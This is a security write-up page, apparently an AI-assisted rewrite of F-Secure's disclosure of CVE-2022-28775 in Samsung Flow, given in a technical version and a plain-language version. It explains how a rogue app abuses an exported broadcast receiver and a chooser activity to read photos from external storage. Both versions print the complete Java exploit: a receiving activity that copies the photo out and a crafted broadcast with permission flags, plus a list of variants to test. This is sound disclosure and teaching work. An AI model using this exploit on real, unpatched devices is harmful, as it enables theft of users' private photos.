Skip to content
Access control Write-up Intermediate

Samsung Flow - Any App Can Read The External Storage

Samsung Flow's exported broadcast receiver could be tricked into launching an unexported activity that grants URI permissions to a rogue app's activity, allowing the rogue app to read files from the device's external storage without the necessary Android permissions. An attacker could exfiltrate pictures taken by the camera.

Kenneth G. Paterson Follow

Published on labs.f-secure.com

F-Secure looked into exploiting the Samsung Galaxy S21 device for Austin Pwn2Own 2021. Samsung Flow, an application offered on the Galaxy Store, had an issue with how it handled broadcasted intents.

Ken Gannon (@Yogehi), on labs.f-secure.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

Samsung Flow is an application offered on the Galaxy Store that, among other things, lets a phone share content with other devices. During preparation for Austin Pwn2Own 2021, F-Secure looked at exploiting the Samsung Galaxy S21 and examined how Samsung Flow handled broadcasted intents. The component of interest is the exported broadcast receiver com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver, which is meant to react to Flow's own broadcasts and start the appropriate internal activity.

The issue is a security control bypass: a rogue application on the same device could use the receiver to read contents on the device's external storage without holding the proper Android permissions. The affected product is Samsung Flow prior to version 4.8.06.5, tracked as CVE-2022-28775 and rated Medium in the report's table.

Setup

The write-up does not describe any accounts, roles or tooling beyond the exploit itself. The preconditions that matter are all on the device:

  1. Samsung Flow prior to [redacted] is installed.
  2. A rogue application is installed alongside it and can send broadcasts to exported components.
  3. The rogue application declares an exported activity of its own, which will receive the content URI that Samsung Flow hands out.

No Android permission is required by the rogue application to read the external storage; that is the point of the bypass.

Finding it

GlobalBroadcastReceiver is exported and processes received broadcast intents by checking two things only: the action value and the extra string value ClassName. If the action matches com.samsung.android.galaxycontinuity.action.ACTION_FLOW_CONTENT_PENDING_INTENT and ClassName is not null, Samsung Flow creates a new intent and starts the activity named in ClassName. Any extras bundled with the broadcast intent are also bundled with the newly created intent.

That design means an attacker controls which internal activity Samsung Flow starts, and with which extras. The interesting target is com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity, an unexported activity that builds a chooser from an attacker-supplied intent and starts it. Because the started intent can carry URI permission flags, the activity that ends up handling it is granted access to Samsung Flow's content providers, including unexported ones such as com.samsung.android.galaxycontinuity.provider.

Exploitation

The exploit has two parts: an exported activity in the rogue application that receives the content URI and copies the data out, and a broadcast that drives Samsung Flow into granting that activity access to the file.

Step 1: the receiving activity

The rogue application must contain an exported activity with the following Java code:

Java
public class IntentProxyToContentProvider extends Activity {    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        Uri uri = Uri.parse(getIntent().getDataString());        try {            Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));            String yayuriyay = MediaStore.Images.Media.insertImage(getContentResolver(),                bitmap,                "yaytitleyay",                "yaydescriptionyay");            InputStream input = getContentResolver().openInputStream(Uri.parse(yayuriyay));            File file = new File(getFilesDir(), "yayoutputyay.jpg");            FileOutputStream output = new FileOutputStream(file);            try{                byte[] buf = new byte[1024];                int len;                while ((len = input.read(buf)) > 0) {                    output.write(buf, 0, len);                }          } catch (Exception e) {                e.printStackTrace();          } finally {                try {                    if (input != null)                    input.close();                    if (output != null)                    output.close();                } catch (Exception e) {                    e.printStackTrace();                }            }        } catch (FileNotFoundException e) {           e.printStackTrace();        } catch (IOException e) {            e.printStackTrace();        }    }}

The activity reads the data URI it was started with, decodes it as a bitmap, inserts the image into the MediaStore content provider, reads it back, and writes the bytes to yayoutputyay.jpg in the application's private files directory. In other words, it turns the granted read access into a local copy the rogue application owns.

Step 2: the broadcast

The rogue application then sends the following broadcast, replacing <target picture> with the name of the picture found on the device and <rogue application package> with the package name of the rogue application:

Java
Intent intent = new Intent();intent.setComponent(new ComponentName("com.samsung.android.galaxycontinuity", "com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver"));intent.setAction("com.samsung.android.galaxycontinuity.action.ACTION_FLOW_CONTENT_PENDING_INTENT"); Intent intent2 = new Intent();intent2.setComponent(new ComponentName("<rogue application package>", " <rogue application package>.IntentProxyToContentProvider"));intent2.setData(Uri.parse("content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture name>"));intent2.setFlags(195);Bundle bundle = new Bundle();bundle.putParcelable("_data", intent2);bundle.putString("ClassName", "com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity");intent.putExtras(bundle); sendBroadcast(intent);

The important parts:

  • The outer intent targets the exported receiver com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver and uses the action com.samsung.android.galaxycontinuity.action.ACTION_FLOW_CONTENT_PENDING_INTENT, which is the action the receiver accepts.
  • ClassName is set to com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity, so that is the activity Samsung Flow will start.
  • The inner intent intent2 targets the rogue application's own exported activity and carries the data URI content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture name>. It is passed as the parcelable extra _data.
  • intent2.setFlags(195) sets the URI permission flags on the inner intent. The write-up lists the flags that matter: Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, Intent.FLAG_GRANT_READ_URI_PERMISSION and Intent.FLAG_GRANT_WRITE_URI_PERMISSION.

The broadcast performs the following steps:

  1. Send a broadcast to the exported broadcast receiver com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver.
  2. The broadcast receiver opens the unexported activity com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity.
  3. The activity passes permissions to read the unexported content file provider com.samsung.android.galaxycontinuity.provider to the rogue application's exported activity mentioned earlier.

After successful exploitation, the targeted picture is saved to the rogue application's private files directory, specifically /data/data/<rogue application package>/Files/yayoutputyay.jpg.

Root cause

The receiver's onReceive shows the logic. It reads the action, clears the component with intent.setComponent(null), and handles a few known actions. For Define.ACTION_FLOW_CONTENT_PENDING_INTENT it reads the ClassName extra and, if it is not null, either starts MirroringActivity for the notification cases or, for any other class name, builds an intent for Class.forName(stringExtra), copies the broadcast's extras onto it with replaceExtras, sets FLAG_ACTIVITY_NEW_TASK (268435456) and calls startActivity:

Java
public void onReceive(Context context, Intent intent) {        Intent intent2;        try {            String action = intent.getAction();            intent.setComponent(null);            if (action.equals("REQUEST_LAUNCH_MY_FILES")) {                FileUtil.openMyFiles(intent.getStringExtra("START_PATH"));                return;            }            if (!"android.intent.action.BOOT_COMPLETED".equals(action)) {                if (!ACTION_LAZY_BOOT_COMPLETE.equals(action)) {                    if (Define.ACTION_FLOW_CONTENT_PENDING_INTENT.equals(action)) {                        String stringExtra = intent.getStringExtra("ClassName");                        if (stringExtra != null) {                            if ((stringExtra.equals(NotificationDetailActivity.class.getName()) || stringExtra.equals(ChatActivity.class.getName())) && SettingsManager.getInstance().getNotificationOption()) {                                Intent intent3 = new Intent(SamsungFlowApplication.get(), MirroringActivity.class);                                intent3.setAction(Define.ACTION_SMARTVIEW_FROM_NOTIFICATION);                                intent3.putExtra("FlowKey", intent.getStringExtra("FlowKey"));                                intent3.setFlags(268435456);                                SamsungFlowApplication.get().startActivity(intent3);                                return;                            }                            Intent intent4 = new Intent(SamsungFlowApplication.get(), Class.forName(stringExtra));                            intent4.replaceExtras(intent.getExtras());                            intent4.setFlags(268435456);                            SamsungFlowApplication.get().startActivity(intent4);                            return;

Because ClassName is attacker-controlled and only two specific values are special-cased, any other class in the application can be started. ChooserDelegateActivity is the useful one. Its onCreate calls startChooser(getIntent()) and finishes, and startChooser builds a chooser from the _data extra:

Java
public void onCreate(Bundle bundle) {        super.onCreate(bundle);        startChooser(getIntent());        finish();    }private void startChooser(Intent intent) {        if (intent != null && intent.getExtras().containsKey("_data")) {            try {                ArrayList<? extends Parcelable> arrayList = new ArrayList<>();                arrayList.add(new ComponentName(SamsungFlowApplication.get().getPackageName(), ShareActivity.class.getName()));                Intent createChooser = Intent.createChooser((Intent) intent.getParcelableExtra("_data"), ResourceUtil.getString(R.string.share));                if (Build.VERSION.SDK_INT >= 24) {                    createChooser.putExtra("android.intent.extra.EXCLUDE_COMPONENTS", (Parcelable[]) arrayList.toArray(new Parcelable[0]));                } else {                    createChooser.putParcelableArrayListExtra("extra_chooser_droplist", arrayList);                }                if (intent.getBooleanExtra(EXTRA_POP_OVER_SUPPORTED, false)) {                    int intExtra = intent.getIntExtra(EXTRA_POP_OVER_POS, -1);                    ActivityOptions makeBasic = ActivityOptions.makeBasic();                    makeBasic.semSetChooserPopOverPosition(intExtra);                    startActivity(createChooser, makeBasic.toBundle());                    return;                }                startActivity(createChooser);            } catch (Exception e) {                FlowLog.e(e);            }        }    }

The chooser is created from the attacker's inner intent, with Samsung Flow's own ShareActivity excluded from the list. The inner intent can contain standard intent objects and intent extras, including the URI permission flags. When the chooser is started with those flags, the activity that handles the intent, here the rogue application's exported activity, is given access to Samsung Flow's content providers, including unexported ones. The unexported provider is therefore reachable through a chain of exported and unexported components that each trust the previous one.

As a concrete example, an intent passed to startActivity could contain a data value of content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture>. The target activity is then given access to the content provider com.samsung.android.galaxycontinuity.provider and can download the file /external_files/DCIM/Camera/<target picture>. The following code within the target activity creates a new file via the Android MediaStore content provider and saves the data obtained from that URI:

Java
Uri uri = Uri.parse(getIntent().getDataString());Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));String yayuriyay = MediaStore.Images.Media.insertImage(getContentResolver(), bitmap, "yaytitleyay", "yaydescriptionyay");Lod.d("yaytagyay", "this content provider contains the saved media: " + yayuriyay);

The chain works because the receiver is exported, the class name is taken from an extra, and the chooser propagates URI permission flags from the attacker's intent to the chosen component. The write-up does not say whether the flags were intended for legitimate Flow sharing, but the effect is that the grant reaches a component the attacker controls.

Impact

A rogue application installed on the same device can read contents on the device's external storage without requiring the proper Android permissions. The demonstrated example exfiltrates a picture taken by the device's camera, saved under DCIM/Camera, into the rogue application's private directory. The advisory rates the issue Medium, while the timeline records that Samsung confirmed the vulnerability and rated it as a high risk issue. The attack requires a vulnerable Samsung Flow and a rogue application on the same device.

Fix

Samsung released Samsung Flow version 4.8.06.5, which addresses the issue, and users should update to the latest version available.

Variants to test

  1. Other exported receivers in the same application that read a class name or component name from an extra. A positive result is that a broadcast starts an internal activity you did not expect to be reachable.
  2. Other internal activities that build a chooser or otherwise forward an attacker-supplied intent with startActivity. A positive result is that your own exported activity receives a content URI belonging to the target application.
  3. Content provider paths beyond external_files/DCIM/Camera/, using the same content://com.samsung.android.galaxycontinuity.provider/... form. A positive result is that a file outside the camera directory is readable through the granted URI.
  4. The same broadcast with different URI permission flag combinations on the inner intent. A positive result is that read access is granted with fewer flags than expected, showing the grant is broader than the feature needs.
  5. The REQUEST_LAUNCH_MY_FILES action with a START_PATH extra, which the receiver also handles. A positive result is that an attacker-chosen path is opened by the application.

Timeline

Date Summary
19/10/2021 Issue disclosed to Samsung Mobile Security
19/10/2021 Issue assigned to a Samsung Security Analyst
02/01/2022 Samsung confirms the vulnerability and rates it as a high risk issue
04/03/2022 Patch released, Samsung initiates process for bug bounty reward
12/04/2022 CVE assigned
04/05/2022 Advisory published

This issue was discovered by Ken Gannon.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

Samsung Flow is an app you can install from the Galaxy Store. Among other things, it lets your phone share content with other devices. While preparing for a hacking contest called Austin Pwn2Own 2021, the team at F-Secure looked at how to break into a Samsung Galaxy S21 phone. They examined how Samsung Flow handled messages that Android apps send to each other, and found a way for a malicious app on the same phone to read files stored on the phone's external storage, such as photos, without being given permission to do so.

To follow this, you need one idea from Android: apps talk to each other by sending small messages called intents. Sometimes an app sends an intent to a specific part of another app, and that part is called a component. A component can be marked exported, meaning any other app on the phone is allowed to send it messages, or unexported, meaning only its own app is supposed to use it. Think of an exported component as a letterbox on the street that anyone can post through, and an unexported one as an internal office door that only staff should open.

The problem was in one exported component of Samsung Flow, a broadcast receiver called com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver. A broadcast receiver is a part of an app that listens for announcements sent out to the whole phone. This one was exported and could be reached by other apps on the phone. Because it trusted what was written in the announcement, a malicious app could use it as a stepping stone to reach internal parts of Samsung Flow that should not be reachable from outside.

The affected product is Samsung Flow before version 4.8.06.5. The issue is tracked as CVE-2022-28775, which is a public identifier given to a known security flaw, and the advisory table rates it Medium. The timeline later records that Samsung confirmed the vulnerability and rated it as a high risk issue.

Setup

The write-up does not describe any accounts, roles or tools beyond the exploit itself. Everything that matters happens on the phone:

  1. Samsung Flow before version 4.8.06.5 is installed.
  2. A rogue application is installed next to it and is able to send broadcasts to exported components.
  3. The rogue application declares an exported activity of its own, which will receive the content address that Samsung Flow hands out.

An activity is a single screen in an Android app, for example a list or a photo viewer. The rogue app needs one of its own screens to be exported so that Samsung Flow can start it and hand it something.

No Android permission is required by the rogue application to read the external storage. That is the whole point of the bypass: the attacker never asks the phone for permission, they borrow Samsung Flow's access instead.

Finding it

GlobalBroadcastReceiver is exported and processes received broadcast intents by checking two things only: the action value and the extra string value ClassName.

Two more terms. An action is a text label on an intent that says what kind of message it is, a bit like the subject line of an email. An extra is a piece of data attached to an intent, like an attachment to that email. Here the receiver looks at the subject line and at one attachment called ClassName.

If the action matches com.samsung.android.galaxycontinuity.action.ACTION_FLOW_CONTENT_PENDING_INTENT and ClassName is not null, Samsung Flow creates a new intent and starts the activity named in ClassName. Any extras bundled with the broadcast intent are also bundled with the newly created intent.

That design means an attacker controls which internal activity Samsung Flow starts, and with which extras. The interesting target is com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity, an unexported activity that builds a chooser from an attacker-supplied intent and starts it. A chooser is the Android pop-up that asks you which app you want to use to share something. Because the started intent can carry URI permission flags, the activity that ends up handling it is granted access to Samsung Flow's content providers, including unexported ones such as com.samsung.android.galaxycontinuity.provider.

A content provider is the part of an Android app that hands out data, such as files or database rows, to other parts of the system. A URI is an address for a piece of data, much like a web address but for things inside the phone. A permission flag on an intent is a note that says "whoever handles this message may read (or write) the data at this address". Normally the phone enforces that only apps with the right permission can read external storage; here the flag lets the attacker's app read through Samsung Flow's own access.

Exploitation

The exploit has two parts: an exported activity in the rogue application that receives the content address and copies the data out, and a broadcast that drives Samsung Flow into granting that activity access to the file.

Step 1: the receiving activity

The rogue application must contain an exported activity with the following Java code:

Java
public class IntentProxyToContentProvider extends Activity {    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        Uri uri = Uri.parse(getIntent().getDataString());        try {            Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));            String yayuriyay = MediaStore.Images.Media.insertImage(getContentResolver(),                bitmap,                "yaytitleyay",                "yaydescriptionyay");            InputStream input = getContentResolver().openInputStream(Uri.parse(yayuriyay));            File file = new File(getFilesDir(), "yayoutputyay.jpg");            FileOutputStream output = new FileOutputStream(file);            try{                byte[] buf = new byte[1024];                int len;                while ((len = input.read(buf)) > 0) {                    output.write(buf, 0, len);                }          } catch (Exception e) {                e.printStackTrace();          } finally {                try {                    if (input != null)                    input.close();                    if (output != null)                    output.close();                } catch (Exception e) {                    e.printStackTrace();                }            }        } catch (FileNotFoundException e) {           e.printStackTrace();        } catch (IOException e) {            e.printStackTrace();        }    }}

Line by line, in plain words:

  • public class IntentProxyToContentProvider extends Activity declares a new screen (an activity) in the rogue app. The name is chosen by the attacker.
  • protected void onCreate(Bundle savedInstanceState) is the code that runs when the screen is first opened.
  • super.onCreate(savedInstanceState) is the standard setup call every activity makes before doing its own work.
  • Uri uri = Uri.parse(getIntent().getDataString()); takes the address that was attached to the intent which started this screen, and turns it into a usable URI object. This is the address Samsung Flow will have granted access to.
  • Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); opens the data at that address and decodes it as an image. getContentResolver() is the part of Android that knows how to talk to content providers.
  • String yayuriyay = MediaStore.Images.Media.insertImage(getContentResolver(), bitmap, "yaytitleyay", "yaydescriptionyay"); saves the decoded image into the phone's media store (the shared gallery database) under a title and description chosen by the attacker, and gets back a new address for the saved copy.
  • InputStream input = getContentResolver().openInputStream(Uri.parse(yayuriyay)); opens that newly saved copy for reading.
  • File file = new File(getFilesDir(), "yayoutputyay.jpg"); picks a destination file inside the rogue app's own private folder.
  • FileOutputStream output = new FileOutputStream(file); opens that destination for writing.
  • The while loop reads the saved image in 1,024-byte chunks and writes each chunk to the destination file, so the image is copied byte for byte.
  • The finally block closes both the input and the output when the copying is done, even if something went wrong.
  • The catch blocks print error details if the file cannot be found or read.

In other words, the activity turns the granted read access into a local copy the rogue application owns.

Step 2: the broadcast

The rogue application then sends the following broadcast, replacing <target picture> with the name of the picture found on the device and <rogue application package> with the package name of the rogue application:

Java
Intent intent = new Intent();intent.setComponent(new ComponentName("com.samsung.android.galaxycontinuity", "com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver"));intent.setAction("com.samsung.android.galaxycontinuity.action.ACTION_FLOW_CONTENT_PENDING_INTENT"); Intent intent2 = new Intent();intent2.setComponent(new ComponentName("<rogue application package>", " <rogue application package>.IntentProxyToContentProvider"));intent2.setData(Uri.parse("content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture name>"));intent2.setFlags(195);Bundle bundle = new Bundle();bundle.putParcelable("_data", intent2);bundle.putString("ClassName", "com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity");intent.putExtras(bundle); sendBroadcast(intent);

Line by line:

  • Intent intent = new Intent(); creates the outer message, the one that will be broadcast.
  • intent.setComponent(new ComponentName("com.samsung.android.galaxycontinuity", "com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver")); addresses it to Samsung Flow's exported receiver. A ComponentName is just a pair of app name and component name.
  • intent.setAction("com.samsung.android.galaxycontinuity.action.ACTION_FLOW_CONTENT_PENDING_INTENT"); sets the subject line to the exact action the receiver accepts.
  • Intent intent2 = new Intent(); creates the inner message, the one that will eventually be handed to the rogue app's own screen.
  • intent2.setComponent(new ComponentName("<rogue application package>", " <rogue application package>.IntentProxyToContentProvider")); addresses the inner message to the rogue app's exported activity from step 1.
  • intent2.setData(Uri.parse("content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture name>")); attaches the address of the target photo inside Samsung Flow's content provider. The content:// prefix marks it as a content provider address.
  • intent2.setFlags(195); sets the permission flags on the inner message. The write-up lists the flags that matter: Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, Intent.FLAG_GRANT_READ_URI_PERMISSION and Intent.FLAG_GRANT_WRITE_URI_PERMISSION. In plain words, these tell Android to pass along permission to read (and write) the data at that address, and to keep that permission for the whole address prefix.
  • Bundle bundle = new Bundle(); creates a container for extra data. A Bundle is like a small bag of labelled items.
  • bundle.putParcelable("_data", intent2); puts the inner message into the bag under the label _data. Parcelable means the item can be packed up and passed between apps.
  • bundle.putString("ClassName", "com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity"); puts the name of the internal Samsung Flow screen the attacker wants started into the bag under the label ClassName.
  • intent.putExtras(bundle); attaches the bag to the outer message.
  • sendBroadcast(intent); sends the outer message out to the phone.

The broadcast performs the following steps:

  1. Send a broadcast to the exported broadcast receiver com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver.
  2. The broadcast receiver opens the unexported activity com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity.
  3. The activity passes permissions to read the unexported content file provider com.samsung.android.galaxycontinuity.provider to the rogue application's exported activity mentioned earlier.

After successful exploitation, the targeted picture is saved to the rogue application's private files directory, specifically /data/data/<rogue application package>/Files/yayoutputyay.jpg.

Root cause

The receiver's onReceive shows the logic. It reads the action, clears the component with intent.setComponent(null), and handles a few known actions. For Define.ACTION_FLOW_CONTENT_PENDING_INTENT it reads the ClassName extra and, if it is not null, either starts MirroringActivity for the notification cases or, for any other class name, builds an intent for Class.forName(stringExtra), copies the broadcast's extras onto it with replaceExtras, sets FLAG_ACTIVITY_NEW_TASK (268435456) and calls startActivity:

Java
public void onReceive(Context context, Intent intent) {        Intent intent2;        try {            String action = intent.getAction();            intent.setComponent(null);            if (action.equals("REQUEST_LAUNCH_MY_FILES")) {                FileUtil.openMyFiles(intent.getStringExtra("START_PATH"));                return;            }            if (!"android.intent.action.BOOT_COMPLETED".equals(action)) {                if (!ACTION_LAZY_BOOT_COMPLETE.equals(action)) {                    if (Define.ACTION_FLOW_CONTENT_PENDING_INTENT.equals(action)) {                        String stringExtra = intent.getStringExtra("ClassName");                        if (stringExtra != null) {                            if ((stringExtra.equals(NotificationDetailActivity.class.getName()) || stringExtra.equals(ChatActivity.class.getName())) && SettingsManager.getInstance().getNotificationOption()) {                                Intent intent3 = new Intent(SamsungFlowApplication.get(), MirroringActivity.class);                                intent3.setAction(Define.ACTION_SMARTVIEW_FROM_NOTIFICATION);                                intent3.putExtra("FlowKey", intent.getStringExtra("FlowKey"));                                intent3.setFlags(268435456);                                SamsungFlowApplication.get().startActivity(intent3);                                return;                            }                            Intent intent4 = new Intent(SamsungFlowApplication.get(), Class.forName(stringExtra));                            intent4.replaceExtras(intent.getExtras());                            intent4.setFlags(268435456);                            SamsungFlowApplication.get().startActivity(intent4);                            return;

What this code does, in plain words:

  • onReceive is the method that runs whenever the receiver gets a broadcast.
  • String action = intent.getAction(); reads the subject line of the incoming message.
  • intent.setComponent(null); clears the sender's addressing information, so the receiver works with the message contents rather than the original target.
  • The REQUEST_LAUNCH_MY_FILES branch opens a file browser at a path supplied in the START_PATH extra, then returns.
  • The next checks skip the boot-completed and lazy-boot-complete announcements, which are ordinary Android system messages.
  • Inside the ACTION_FLOW_CONTENT_PENDING_INTENT branch, String stringExtra = intent.getStringExtra("ClassName"); reads the class name the sender supplied.
  • If the class name is NotificationDetailActivity or ChatActivity and notifications are enabled, it starts MirroringActivity with a FlowKey extra and returns. These are the two special cases.
  • For any other class name, Intent intent4 = new Intent(SamsungFlowApplication.get(), Class.forName(stringExtra)); builds a new intent for whatever class the sender named. Class.forName turns a text name into an actual class in the app.
  • intent4.replaceExtras(intent.getExtras()); copies all the extras from the broadcast onto the new intent.
  • intent4.setFlags(268435456); sets the flag that lets the activity start from outside a normal screen flow.
  • SamsungFlowApplication.get().startActivity(intent4); starts that activity.

Because ClassName is attacker-controlled and only two specific values are special-cased, any other class in the application can be started. ChooserDelegateActivity is the useful one. Its onCreate calls startChooser(getIntent()) and finishes, and startChooser builds a chooser from the _data extra:

Java
public void onCreate(Bundle bundle) {        super.onCreate(bundle);        startChooser(getIntent());        finish();    }private void startChooser(Intent intent) {        if (intent != null && intent.getExtras().containsKey("_data")) {            try {                ArrayList<? extends Parcelable> arrayList = new ArrayList<>();                arrayList.add(new ComponentName(SamsungFlowApplication.get().getPackageName(), ShareActivity.class.getName()));                Intent createChooser = Intent.createChooser((Intent) intent.getParcelableExtra("_data"), ResourceUtil.getString(R.string.share));                if (Build.VERSION.SDK_INT >= 24) {                    createChooser.putExtra("android.intent.extra.EXCLUDE_COMPONENTS", (Parcelable[]) arrayList.toArray(new Parcelable[0]));                } else {                    createChooser.putParcelableArrayListExtra("extra_chooser_droplist", arrayList);                }                if (intent.getBooleanExtra(EXTRA_POP_OVER_SUPPORTED, false)) {                    int intExtra = intent.getIntExtra(EXTRA_POP_OVER_POS, -1);                    ActivityOptions makeBasic = ActivityOptions.makeBasic();                    makeBasic.semSetChooserPopOverPosition(intExtra);                    startActivity(createChooser, makeBasic.toBundle());                    return;                }                startActivity(createChooser);            } catch (Exception e) {                FlowLog.e(e);            }        }    }

What this code does, in plain words:

  • onCreate runs when the activity opens. It calls startChooser(getIntent()) with the intent that started it, then finish() closes the activity straight away.
  • startChooser first checks that there is an intent and that it carries an extra labelled _data.
  • ArrayList<? extends Parcelable> arrayList = new ArrayList<>(); creates a list to hold components that should be left out of the chooser.
  • arrayList.add(new ComponentName(SamsungFlowApplication.get().getPackageName(), ShareActivity.class.getName())); adds Samsung Flow's own ShareActivity to that list, so the app does not offer itself as a sharing target.
  • Intent createChooser = Intent.createChooser((Intent) intent.getParcelableExtra("_data"), ResourceUtil.getString(R.string.share)); builds the chooser from the attacker's inner intent, with the word "share" as its title.
  • The if (Build.VERSION.SDK_INT >= 24) branch puts the exclusion list into the chooser using one extra name on newer Android versions, and the else branch uses a different extra name on older ones.
  • The EXTRA_POP_OVER_SUPPORTED branch handles a special pop-over display mode, positioning the chooser with semSetChooserPopOverPosition and starting it with those options.
  • Otherwise startActivity(createChooser); starts the chooser normally.
  • The catch block logs any error.

The chooser is created from the attacker's inner intent, with Samsung Flow's own ShareActivity excluded from the list. The inner intent can contain standard intent objects and intent extras, including the URI permission flags. When the chooser is started with those flags, the activity that handles the intent, here the rogue application's exported activity, is given access to Samsung Flow's content providers, including unexported ones. The unexported provider is therefore reachable through a chain of exported and unexported components that each trust the previous one. Think of it as a visitor who is not allowed into the back office, but who gets a staff member to carry a document out to them because the staff member only checks the visitor's name badge.

As a concrete example, an intent passed to startActivity could contain a data value of content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture>. The target activity is then given access to the content provider com.samsung.android.galaxycontinuity.provider and can download the file /external_files/DCIM/Camera/<target picture>. The following code within the target activity creates a new file via the Android MediaStore content provider and saves the data obtained from that URI:

Java
Uri uri = Uri.parse(getIntent().getDataString());Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));String yayuriyay = MediaStore.Images.Media.insertImage(getContentResolver(), bitmap, "yaytitleyay", "yaydescriptionyay");Lod.d("yaytagyay", "this content provider contains the saved media: " + yayuriyay);

Line by line:

  • Uri uri = Uri.parse(getIntent().getDataString()); reads the address from the intent that started the activity.
  • String yayuriyay = MediaStore.Images.Media.insertImage(getContentResolver(), bitmap, "yaytitleyay", "yaydescriptionyay"); saves the image into the media store under a title and description, and gets back the new address.
  • Lod.d("yaytagyay", "this content provider contains the saved media: " + yayuriyay); writes a debug log line showing the new address.

The chain works because the receiver is exported, the class name is taken from an extra, and the chooser propagates URI permission flags from the attacker's intent to the chosen component. An allowlist is a fixed list of permitted values; without one, any class name is accepted. The write-up does not say whether the flags were intended for legitimate Flow sharing, but the effect is that the grant reaches a component the attacker controls.

Impact

A rogue application installed on the same device can read contents on the device's external storage without requiring the proper Android permissions. The demonstrated example exfiltrates a picture taken by the device's camera, saved under DCIM/Camera, into the rogue application's private directory. The advisory rates the issue Medium, while the timeline records that Samsung confirmed the vulnerability and rated it as a high risk issue. The attack requires a vulnerable Samsung Flow and a rogue application on the same device.

Fix

Samsung released Samsung Flow version 4.8.06.5, which addresses the issue, and users should update to the latest version available.

Variants to test

  1. Other exported receivers in the same application that read a class name or component name from an extra. A positive result is that a broadcast starts an internal activity you did not expect to be reachable.
  2. Other internal activities that build a chooser or otherwise forward an attacker-supplied intent with startActivity. A positive result is that your own exported activity receives a content URI belonging to the target application.
  3. Content provider paths beyond external_files/DCIM/Camera/, using the same content://com.samsung.android.galaxycontinuity.provider/... form. A positive result is that a file outside the camera directory is readable through the granted URI.
  4. The same broadcast with different URI permission flag combinations on the inner intent. A positive result is that read access is granted with fewer flags than expected, showing the grant is broader than the feature needs.
  5. The REQUEST_LAUNCH_MY_FILES action with a START_PATH extra, which the receiver also handles. A positive result is that an attacker-chosen path is opened by the application.

Timeline

Date Summary
19/10/2021 Issue disclosed to Samsung Mobile Security
19/10/2021 Issue assigned to a Samsung Security Analyst
02/01/2022 Samsung confirms the vulnerability and rates it as a high risk issue
04/03/2022 Patch released, Samsung initiates process for bug bounty reward
12/04/2022 CVE assigned
04/05/2022 Advisory published

This issue was discovered by Ken Gannon.

Glossary

  • Activity: a single screen in an Android app, such as a photo viewer or a settings page.
  • Allowlist: a fixed list of values that are permitted; anything not on the list is rejected.
  • Android permission: a rule the phone enforces that says which apps may do sensitive things, such as reading external storage.
  • API: a defined way for one piece of software to talk to another, like a service counter with set procedures.
  • Action: a text label on an intent that says what kind of message it is.
  • Bitmap: an in-memory image made of pixels.
  • Broadcast: a message sent out to the phone that any interested receiver can listen for.
  • Broadcast receiver: the part of an app that listens for broadcasts and reacts to them.
  • Bundle: a small bag of labelled items used to carry extra data with an intent.
  • Chooser: the Android pop-up that asks which app should handle a share or open action.
  • Component: a named part of an Android app, such as an activity, receiver or provider.
  • Content provider: the part of an Android app that hands out data, such as files or database rows, to other parts of the system.
  • CVE: a public identifier given to a known security vulnerability.
  • Exported: a component that any other app on the phone is allowed to send messages to.
  • Extra: a piece of data attached to an intent, like an attachment to an email.
  • Flag: a setting on an intent that changes how it is handled, for example granting read access to a URI.
  • Intent: a message that one Android app sends to another to ask it to do something.
  • MediaStore: the Android system component that keeps track of media files such as images, audio and video.
  • Package name: the unique name that identifies an app on the phone.
  • Parcelable: an object that can be packed up and passed between apps.
  • Rogue application: a malicious app installed on the same device as the target app.
  • Security control bypass: a flaw that lets someone get around a protection the system was supposed to enforce.
  • Unexported: a component that only its own app is supposed to use; other apps should not be able to send it messages.
  • URI: an address for a piece of data, similar to a web address but for things inside the phone.

More from Samsung

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.